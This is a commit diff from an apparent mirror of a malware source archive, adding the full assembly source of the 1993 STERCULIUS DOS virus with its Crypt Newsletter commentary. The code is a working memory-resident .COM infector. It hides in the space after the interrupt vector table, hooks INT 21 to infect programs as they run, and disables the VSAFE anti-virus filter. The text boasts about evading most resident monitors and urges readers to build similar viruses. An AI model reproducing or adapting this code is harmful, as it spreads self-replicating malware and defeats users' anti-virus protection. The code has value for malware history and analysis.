mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,421 @@
|
||||
comment $
|
||||
|
||||
STERCULIUS virus: copying a virus into the air in the interrupt
|
||||
vector table - for CRYPT NEWSLETTER 18.
|
||||
|
||||
The STERCULIUS virus uses the 'hole' in DOS's memory that is
|
||||
found after the interrupt vector table located at 0000:0000 in memory.
|
||||
This hole in memory is unused much of the time and is filled with
|
||||
'00''s, or "air", starting at 0000:01E0.
|
||||
|
||||
Using the MS-DOS program DEBUG we can take a quick look at this
|
||||
empty space by typing the command:
|
||||
|
||||
DEBUG
|
||||
d 0000:01e0
|
||||
|
||||
And we see:
|
||||
|
||||
0000:01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
0000:01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
0000:0200 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
0000:0210 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
0000:0220 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
0000:0230 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
0000:0240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
0000:0250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
|
||||
Not much of anything!
|
||||
|
||||
The LoveChild virus uses the same space and if it were present
|
||||
in memory (not likely, as it barely works under DOS 3.3),
|
||||
you'd see something like "v2 LoveChild in reward for software
|
||||
sealing [sic]" or some similar gibber in the above display.
|
||||
|
||||
Sterculius copies itself to segment:offset 0000:01E0 in memory,
|
||||
right next to the end of the data in the interrupt vector table,
|
||||
like LoveChild and if we fire up DEBUG again once the virus
|
||||
is in memory:
|
||||
|
||||
0000:01E0 E8 0A 00 53 54 45 52 43-55 4C 49 55 53 5E 83 EE ...STERCULIUS^..
|
||||
0000:01F0 03 56 FC 83 C6 55 90 BF-00 01 A5 A5 5E 33 C0 8E .V...U......^3..
|
||||
0000:0200 C0 BF E0 01 26 81 7D 03-53 54 74 1E B9 08 01 90 ....&.}.STt.....
|
||||
0000:0210 F3 A4 BE 84 00 8E D8 A5-A5 BF E0 01 83 C7 63 90 ..............c.
|
||||
0000:0220 FA 89 7C FC 89 44 FE FB-0E 1F 0E 07 BE 00 01 56 ..|..D.........V
|
||||
0000:0230 C3 E9 00 00 53 4D 5A 63-01 9C 2E FF 1E E8 02 C3 ....SMZc........
|
||||
0000:0240 E9 A4 00 80 FC 4B 75 F8-50 53 51 52 1E 06 56 57 .....Ku.PSQR..VW
|
||||
0000:0250 55 9C B8 00 43 E8 E1 FF-51 1E 52 33 C9 B8 01 43 U...C...Q.R3...C
|
||||
|
||||
Four!
|
||||
|
||||
Without the marker, "STERCULIUS," the virus would be difficult
|
||||
for the user to see in memory for a couple of reasons:
|
||||
|
||||
1) Very few people actually know what system memory in the interrupt
|
||||
table looks like normally,
|
||||
|
||||
2) It is not a place any of the current memory spies tell you to look for
|
||||
viruses.
|
||||
|
||||
IF you scan up the rest of the table you will see the remainder of the
|
||||
virus and about once again as much free space left.
|
||||
That means you can fit about a 300+ byte virus into this space, plenty
|
||||
of room for lots of extra code.
|
||||
|
||||
If you look again at the DEBUG dump you will see "MZ" -
|
||||
that is DEBUG's EXEfile identifier - the first word Sterculius pulls off of
|
||||
any executed program to check if it's a suitable candidate for infection.
|
||||
|
||||
Sterculius stores the word and in the case of DEBUG, lets the program pass by.
|
||||
If a .COMfile had just been loaded, the original program's jump would
|
||||
be occupying that space.
|
||||
|
||||
Clear?
|
||||
Now you can follow this example to make memory resident viruses that occupy
|
||||
that 'hole' in memory next to the interrupt vector table.
|
||||
|
||||
Viruses using this method of residence aren't detected by
|
||||
98% of the anti-virus guards - or virus filters - specifically designed
|
||||
to detect programs which go resident. This is odd, since the technique
|
||||
isn't particularly new. However, one or two anti-virus manufacturers
|
||||
have taken steps in this direction, coding their memory filters so
|
||||
that some of their code occupies the same general area that a virus
|
||||
like STERCULIUS might use. Then again, these developers have to
|
||||
deal with users who may have memory management drivers which muck
|
||||
about in the same space. You see, there are always trade-offs
|
||||
in this kind of work.
|
||||
|
||||
Try STERCULIUS with Central Point, Microsoft Anti-virus, something dumb
|
||||
like INVIRCBLE, or just about any TYPICAL resident monitor.
|
||||
STERCULIUS also contains the "casual" anti-anti-virus measure, VSLAY,
|
||||
which will under optimum conditions, deinstall the Microsoft Anti-virus
|
||||
resident filter.
|
||||
|
||||
Interesting!
|
||||
|
||||
Many lazy people have grown fond of McAfee Associates PROVIEW, too.
|
||||
It's good for checking up on viruses in memory because it puts a
|
||||
big <UNKNOWN> message on the screen when a virus is taking up space at
|
||||
the top of conventional RAM.
|
||||
|
||||
You won't see STERCULIUS using this technique, nor will a look at where
|
||||
INT 21 is pointing under PROVIEW tell the dilettante much.
|
||||
|
||||
Proview will show you the interrupt is still pointing into the table, where
|
||||
it belongs.
|
||||
You'll have to look close to see that the original address has changed!
|
||||
|
||||
STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is
|
||||
always the probability that it will crash on other multi-tasking systems
|
||||
which use other memory managers.
|
||||
|
||||
|
||||
Often, you see, they use the space where STERCULIUS resides.
|
||||
|
||||
If this is the case, they system will hang when STERCULIUS invades it.
|
||||
You can alter this behavior by looking at the interrupt vector table on your
|
||||
system and altering where STERCULIUS copies itself into memory by moving
|
||||
the virus up in RAM.
|
||||
|
||||
Also, this method of residency has an indirect benefit.
|
||||
STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict
|
||||
over the same memory space.
|
||||
|
||||
STERCULIUS infects COMMAND.COM quite easily and doesn't interfere
|
||||
with boot up. However, since COMMAND.COM overwrites the space
|
||||
STERCULIUS is using at boot time, the virus is expunged from memory
|
||||
on completion of system installation. Shelling anytime thereafter
|
||||
reinstalls the virus. Reloading the transient portion of COMMAND.COM
|
||||
doesn't interfere with the virus either.
|
||||
|
||||
|
||||
$
|
||||
|
||||
;**************************************
|
||||
; STERCULIUS VIRUS
|
||||
;
|
||||
; AUTHORS: K”hntark / Urnst Kouch
|
||||
; DATE: SEPTEMBER 1993
|
||||
;
|
||||
;**************************************
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
START:
|
||||
db 0E9h,03,00,'S' ;Jump to Virus_Entry
|
||||
|
||||
FAKE_HOST:
|
||||
int 20h ;host file terminate
|
||||
|
||||
|
||||
VIRUS_ENTRY:
|
||||
|
||||
call INITIALIZE
|
||||
|
||||
ID: db 'STERCULIUS' ;The Roman god of feces
|
||||
;intellectual property of Mike
|
||||
INITIALIZE: ;Judge, sort of, and if this
|
||||
pop si ;means nothing to you, then you're
|
||||
sub si,3 ;not paying attention
|
||||
|
||||
;*****************
|
||||
; Restore host
|
||||
;*****************
|
||||
|
||||
push si
|
||||
cld
|
||||
add si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
|
||||
mov di,0100h
|
||||
movsw
|
||||
movsw
|
||||
pop si
|
||||
|
||||
;***************************
|
||||
; Remove MSAV / CPAV VSAFE ;<---VSLAY, Crypt Newsletter 15 [ref]
|
||||
;***************************
|
||||
|
||||
mov dx,5945h
|
||||
mov ax,0FA01h ;AL=01 very important!
|
||||
int 21h
|
||||
|
||||
;***************************
|
||||
; Check if already resident
|
||||
;***************************
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov di,01E0h
|
||||
cmp WORD PTR es:[di + 3],'TS'
|
||||
je EXIT
|
||||
|
||||
mov cx,ZIZE
|
||||
rep movsb ;move virus to 0000:01E0 from ds:si
|
||||
|
||||
;***********************
|
||||
; Mov INT 21 address
|
||||
;***********************
|
||||
|
||||
mov si,21h * 4
|
||||
mov ds,ax ;ds=0
|
||||
movsw ;from ds:si to es:di
|
||||
movsw
|
||||
|
||||
;***********************
|
||||
; Hook INT 21
|
||||
;***********************
|
||||
|
||||
mov di,01E0h
|
||||
add di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
|
||||
cli ;disable interrupts
|
||||
mov WORD PTR [si - 4],di ;address of INT 21 handler
|
||||
mov WORD PTR [si - 2],ax
|
||||
sti ;enable interrupts
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
EXIT: push cs
|
||||
pop es
|
||||
mov si,0100h
|
||||
push si
|
||||
;push 0100h ;386 code left out
|
||||
ret ;return to host
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
NEW_HOST_ENTRY:
|
||||
db 0E9h,00,00,'S'
|
||||
|
||||
HOST_STUB:
|
||||
db 090h,090h,090h,090h ;nops
|
||||
|
||||
INT_21:
|
||||
pushf
|
||||
call DWORD PTR cs:[REALL_INT_21]
|
||||
ret
|
||||
|
||||
QUICK_EXIT: jmp QUICK_OUT
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
INT_21_HANDLER:
|
||||
|
||||
cmp ah,4Bh ;execute a file?
|
||||
jne QUICK_EXIT ;quick exit handler
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
pushf
|
||||
|
||||
;***********************
|
||||
; Save Attributes
|
||||
;***********************
|
||||
|
||||
mov ax,4300h
|
||||
call INT_21
|
||||
jc SKIP
|
||||
push cx ;save attributes to stack
|
||||
push ds
|
||||
push dx ;ds:dx = pathname to file
|
||||
|
||||
|
||||
;***********************
|
||||
; Klear Attributes
|
||||
;***********************
|
||||
|
||||
xor cx,cx
|
||||
mov ax,4301h
|
||||
call INT_21
|
||||
SKIP: jc RESTORE_ATTRIBUTES
|
||||
|
||||
;***********************
|
||||
; Open File
|
||||
;***********************
|
||||
|
||||
mov ax,3D02h
|
||||
call INT_21
|
||||
jc RESTORE_ATTRIBUTES
|
||||
xchg bx,ax ;file handle to bx
|
||||
|
||||
;***********************
|
||||
; Save Date & time
|
||||
;***********************
|
||||
|
||||
mov ax,5700h
|
||||
call INT_21
|
||||
push dx ;save date
|
||||
push cx ;save time
|
||||
|
||||
;***********************
|
||||
; Read 4 bytes
|
||||
;***********************
|
||||
|
||||
mov cx,04 ;# of bytes to read
|
||||
mov dx,HOST_STUBB ;buffer to read 4 bytes to
|
||||
mov si,dx
|
||||
mov ah,3Fh
|
||||
push cs
|
||||
pop ds ;ds=cs
|
||||
call INT_21 ;read to ds:dx
|
||||
jc CLOSE_FILE
|
||||
|
||||
;***********************
|
||||
; Check File
|
||||
;***********************
|
||||
|
||||
cmp WORD PTR [si],'ZM' ;EXE file?
|
||||
je CLOSE_FILE
|
||||
cmp BYTE PTR [si + 3],'S' ;infected COM file?
|
||||
je CLOSE_FILE
|
||||
|
||||
;***********************
|
||||
; File PTR @EOF
|
||||
;***********************
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
cwd ;cx = dx = 00
|
||||
call INT_21
|
||||
|
||||
sub ax,03 ;fix file size
|
||||
xchg bp,ax ;address to jump to
|
||||
|
||||
add ax,ZIZE ;file + VIRUS SIZE > 64K?
|
||||
jc CLOSE_FILE ;exit if so
|
||||
|
||||
;***********************
|
||||
; Write Virus
|
||||
;***********************
|
||||
|
||||
mov ah,40h
|
||||
mov cx,ZIZE ;cx = #of bytes
|
||||
mov dx,01E0h ;dx = write from here
|
||||
call INT_21
|
||||
|
||||
;***********************
|
||||
; Set PTR @BOF
|
||||
;***********************
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
cwd ;cx = dx = 00
|
||||
call INT_21
|
||||
|
||||
;***********************
|
||||
; Write new jump
|
||||
;***********************
|
||||
|
||||
mov ah,40h
|
||||
mov cx,4 ; # of bytes to write
|
||||
mov dx,NEW_HOST_ENTRYY ;dx = write from here
|
||||
mov si,dx
|
||||
|
||||
mov WORD PTR [si + 1],bp ;insert new address
|
||||
call INT_21
|
||||
|
||||
CLOSE_FILE:
|
||||
|
||||
;***********************
|
||||
; Restore Date & time
|
||||
;***********************
|
||||
|
||||
pop cx ;restore time
|
||||
pop dx ;restore date
|
||||
mov ax,5701h
|
||||
call INT_21
|
||||
|
||||
;***********************
|
||||
; Klose File
|
||||
;***********************
|
||||
|
||||
mov ah,3Eh
|
||||
call INT_21
|
||||
|
||||
;***********************
|
||||
; Restore Attributes
|
||||
;***********************
|
||||
|
||||
RESTORE_ATTRIBUTES:
|
||||
|
||||
mov ax,4301h
|
||||
pop dx ;ds:dx = pathname to file
|
||||
pop ds ;restore pathname
|
||||
pop cx ;restore old attributes
|
||||
call INT_21
|
||||
|
||||
;***********************
|
||||
; Restore registers
|
||||
;***********************
|
||||
|
||||
EXIT_HANDLER:
|
||||
popf
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
|
||||
END_VIRUS:
|
||||
REAL_INT_21:
|
||||
|
||||
|
||||
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
|
||||
REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
|
||||
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
|
||||
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
|
||||
|
||||
END START
|
||||
|
||||
|
||||
Reference in New Issue
Block a user